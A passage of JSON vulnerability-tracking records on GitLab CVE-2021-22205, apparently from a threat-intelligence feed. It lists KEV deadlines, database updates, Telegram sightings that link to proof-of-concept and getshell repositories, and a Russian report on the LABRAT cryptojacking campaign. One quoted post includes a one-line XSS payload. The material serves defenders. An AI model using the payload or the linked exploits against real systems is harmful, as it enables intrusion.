driver\nhttps://t.me/cybersecuritytechnologies/4535\nCVE-2021-40438 - SSRF in Apache2 mod_proxy\nhttps://t.me/cybersecuritytechnologies/4529\nCVE-2021-30858 - UaF in WebKit\nhttps://t.me/cybersecuritytechnologies/4545\nCVE-2021-30883 - iOS IOMFB vulnerability\nhttps://t.me/cybersecuritytechnologies/4497\nCVE-2021-30892 - Shrootless Vulnerability in MacOS\nhttps://t.me/cybersecuritytechnologies/4623\nCVE-2022-1337 - \"View Source\"\nhttps://mobile.twitter.com/megab0t_/status/1452848917205458945\nPoC: JavaScript:https://#%0aalert('xss')", "url": "https://t.me/CyberSecurityTechnologies/4701"}, {"timestamp": "2021-11-16T02:31:22Z", "date_only": false, "value": "2021-11-16T02:31:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/xUIvYnIgkC2ndd3njCc7_o2__yPhPQAzlbTehvhGlo-kjw", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "d4248482-b5fb-475b-9743-ea378630e75a"}, {"timestamp": "2021-11-17T00:00:00Z", "date_only": true, "value": "2021-11-17", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "evidence.0.details.due_date", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-17T00:00:00Z", "date_only": true, "value": "2021-11-17", "kind": "other", "label": "Remediation due", "source": "gsd \u00b7 GSD-2021-22205", "record": "GSD-2021-22205", "field": "namespaces.cisa.gov.dueDate"}, {"timestamp": "2021-11-17T16:06:20Z", "date_only": false, "value": "2021-11-17T16:06:20.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitLab", "record": "CVE-2021-22205", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-11-20T09:53:52Z", "date_only": false, "value": "2021-11-20T09:53:52.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "bcff1ac7-787c-4d78-a3bd-aa58fa4180db"}, {"timestamp": "2021-11-25T09:59:28Z", "date_only": false, "value": "2021-11-25T09:59:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/880", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "7542528d-6a4d-4494-85e7-0524b4e7640d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 on Docker\nURL\uff1ahttps://github.com/ahmad4fifz/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/880"}, {"timestamp": "2021-11-25T12:01:35Z", "date_only": false, "value": "2021-11-25T12:01:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/881", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "d2bb7def-b571-4b66-b565-ae01ca21ad05", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 on Docker\nURL\uff1ahttps://github.com/pierDipi/unicode-control-characters-action", "url": "https://t.me/GithubRedTeam/881"}, {"timestamp": "2021-11-25T12:52:22Z", "date_only": false, "value": "2021-11-25T12:52:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/882", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "28c27d9b-e047-42d9-82f8-73cad1f5ceef", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA CVE-2021-22205 Gitlab RCE POC written in Golang\nURL\uff1ahttps://github.com/pizza-power/Golang-CVE-2021-22205-POC", "url": "https://t.me/GithubRedTeam/882"}, {"timestamp": "2021-11-30T21:38:00Z", "date_only": false, "value": "2021-11-30T21:38Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-22205", "record": "GSD-2021-22205", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2021-12-03T11:00:35Z", "date_only": false, "value": "2021-12-03T11:00:35.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/4889", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "2244944e-6f2f-43c8-bd37-b74e86b5d7d9", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Nov 1-30)\nCVE-2021-22205 - GitLab CE/EE RCE\nhttps://t.me/cybersecuritytechnologies/4602\nCVE-2021-30883 - iOS IOMFB Vuln\nhttps://t.me/cybersecuritytechnologies/4497\nCVE-2021-3064 - Memory Corruption in PAN-OS GlobalProtect Portal/Gateway Interfaces\nhttps://t.me/cybersecuritytechnologies/4724\nCVE-2021-41379 - Windows Installer LPE\nhttps://t.me/cybersecuritytechnologies/4813\nCVE-2021-42321 - MS Exchange Post-Auth RCE\nhttps://t.me/cybersecuritytechnologies/4809\nCVE-2021-40539 - Zoho ManageEngine Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/4718\nCVE-2021-41277 - MetaBase Arbitrary File Read\nhttps://t.me/cybersecuritytechnologies/4802\nCVE-2021-43267 - Remote Kernel Heap Overflow in TIPC\nhttps://t.me/cybersecuritytechnologies/4678\nCVE-2021-42574 - Unicode Bidirectional override vuln\nhttps://github.com/js-on/CVE-2021-42574\nhttps://github.com/pierDipi/unicode-control-characters-action\nCVE-2021-24084 - Windows MDM LPE\nhttps://t.me/cybersecuritytechnologies/4850", "url": "https://t.me/CyberSecurityTechnologies/4889"}, {"timestamp": "2021-12-22T04:33:05Z", "date_only": false, "value": "2021-12-22T04:33:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1207", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "e7f98974-3bbf-460a-a22f-c68a756a175a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 \u7684\u6279\u91cf\u68c0\u6d4b\u811a\u672c\nURL\uff1ahttps://github.com/gardenWhy/Gitlab-CVE-2021-22205", "url": "https://t.me/GithubRedTeam/1207"}, {"timestamp": "2022-05-24T17:48:44Z", "date_only": false, "value": "2022-05-24T17:48:44Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-VGP2-3HXM-6X85", "record": "GHSA-VGP2-3HXM-6X85", "field": "published"}, {"timestamp": "2022-07-20T17:50:06Z", "date_only": false, "value": "2022-07-20T17:50:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2747", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "2495a4aa-0acd-4548-aaa2-0e362701db88", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1agetshell\n\u63cf\u8ff0\uff1aCVE-2021-22205 \u68c0\u6d4b\u811a\u672c,\u652f\u6301getshell\u548c\u547d\u4ee4\u6267\u884c\nURL\uff1ahttps://github.com/keven1z/CVE-2021-22205\n\n\u6807\u7b7e\uff1a#getshell", "url": "https://t.me/GithubRedTeam/2747"}, {"timestamp": "2022-12-07T05:53:04Z", "date_only": false, "value": "2022-12-07T05:53:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/eaglecyberwashere/50", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "cf61ce71-1851-4ae6-aecd-114ac8ed3c98", "content": "https://github.com/inspiringz/CVE-2021-22205.git\nCVE-2021-4191: Gitlab Unauthenticated AddUser to Administrator", "url": "https://t.me/eaglecyberwashere/50"}, {"timestamp": "2023-04-27T09:58:59Z", "date_only": false, "value": "2023-04-27T09:58:59.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-22205.yaml", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "c2bfeaf9-d7e0-43ac-b9b9-d9cd864ca3cc", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-22205.yaml"}, {"timestamp": "2023-08-18T13:53:12Z", "date_only": false, "value": "2023-08-18T13:53:12.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/itsec_news/3119", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9590dffb-f57a-4824-9474-fe0b797ced8d", "content": "\u200b\u26a1\ufe0f\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0435 \u043a\u0440\u044b\u0441\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 GitLab: \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u044f\u044e\u0442 \u043a\u0440\u0438\u043f\u0442\u043e- \u0438 \u043f\u0440\u043e\u043a\u0441\u0438\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u043e\u043c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 LABRAT.\n\n\ud83d\udcac \u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Sysdig \u0432 \u0441\u0432\u043e\u0451\u043c \u0432\u0447\u0435\u0440\u0430\u0448\u043d\u0435\u043c \u043e\u0442\u0447\u0451\u0442\u0435 , \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c LABRAT, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c GitLab \u0434\u0432\u0443\u0445\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438 \u0432 \u0446\u0435\u043b\u044f\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430 \u0438 \u043f\u0440\u043e\u043a\u0441\u0438\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430.\n\n\u00ab\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u0445, \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0443\u0442\u043a\u0438\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438.\n\n\u041f\u0440\u043e\u043a\u0441\u0438\u0434\u0436\u0435\u043a\u0438\u043d\u0433 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u0434\u0430\u0432\u0430\u0442\u044c \u0432 \u0430\u0440\u0435\u043d\u0434\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u043e\u0441\u0442 \u0432 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u043d\u0435\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c. \u041a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433 \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b.\n\n\u041e\u0442\u043b\u0438\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 Go \u0438 .NET \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. LABRAT \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u043a\u0430\u043a \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u0438\u043d\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0430\u0442\u0430\u043a, \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-22205 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 10 \u0431\u0430\u043b\u043b\u043e\u0432. \u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443, \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 2021 \u0433\u043e\u0434\u0443 \u0438 \u0432\u0441\u043a\u043e\u0440\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 GitLab. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u0441\u0442\u0430\u0432 \u043d\u043e\u0432\u044b\u043c\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0430-\u0434\u0440\u043e\u043f\u043f\u0435\u0440\u0430 \u043e\u0442 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0414\u0440\u043e\u043f\u043f\u0435\u0440 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u0441\u0442\u0432\u043e \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0431\u043e\u043a\u043e\u0432\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 SSH, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0442\u0430\u043c \u0436\u0435, \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0438 \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f GitLab.\n\n\u0421\u0435\u0440\u0432\u0438\u0441 TryCloudflare \u0442\u0430\u043a\u0436\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u00abgsocket\u00bb \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430 \u0438 \u043f\u0440\u043e\u043a\u0441\u0438\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0430 \u0447\u0435\u0440\u0435\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b IPRoyal \u0438 ProxyLite. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u0441\u043a\u0440\u044b\u0442 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0443\u0442\u043a\u0438\u0442\u0430 \u044f\u0434\u0440\u0430 \u00abhiding-cryptominers-linux-rootkit\u00bb.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u0435\u0441\u044c\u043c\u0430 \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e GitLab \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u0440\u0430\u0432\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441 \u0446\u0435\u043b\u044c\u044e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u043d\u0430\u0436\u0438\u0432\u044b. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b GitLab \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043f\u043e \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438.\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/3119"}, {"timestamp": "2023-09-14T05:57:06Z", "date_only": false, "value": "2023-09-14T05:57:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/bh_cat/23", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "1b868d31-940e-41ac-b6e1-63b1263a6033", "content": "\u042f \u043f\u0440\u0438\u043d\u044f\u043b \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u043a\u0430\u043d\u0430\u043b\u0435. \u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043c\u043e\u0435\u0433\u043e \u043e\u043f\u044b\u0442\u0430, \u044f \u0447\u0430\u0441\u0442\u043e \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u044e\u0441\u044c \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438, \u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0438\u0445 POC \u0438\u043b\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u043d\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b\n\n\u2694\ufe0f GitLab CE/EE Preauth RCE (CVE-2021-22205)\n\n\u0411\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 GitLab CE/EE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 11.9. GitLab \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0432 \u043f\u0430\u0440\u0441\u0435\u0440 \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u2757\ufe0fAffect Versions:\n>=11.9, <13.8.8\n>=13.9, <13.9.6\n>=13.10, <13.10.3\n\n\ud83c\udf10 Source:\nhttps://github.com/inspiringz/CVE-2021-22205\n\n#gitlab #poc", "url": "https://t.me/bh_cat/23"}, {"timestamp": "2023-10-26T11:30:51Z", "date_only": false, "value": "2023-10-26T11:30:51+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2021-22205", "field": "timestamps.asserted_at", 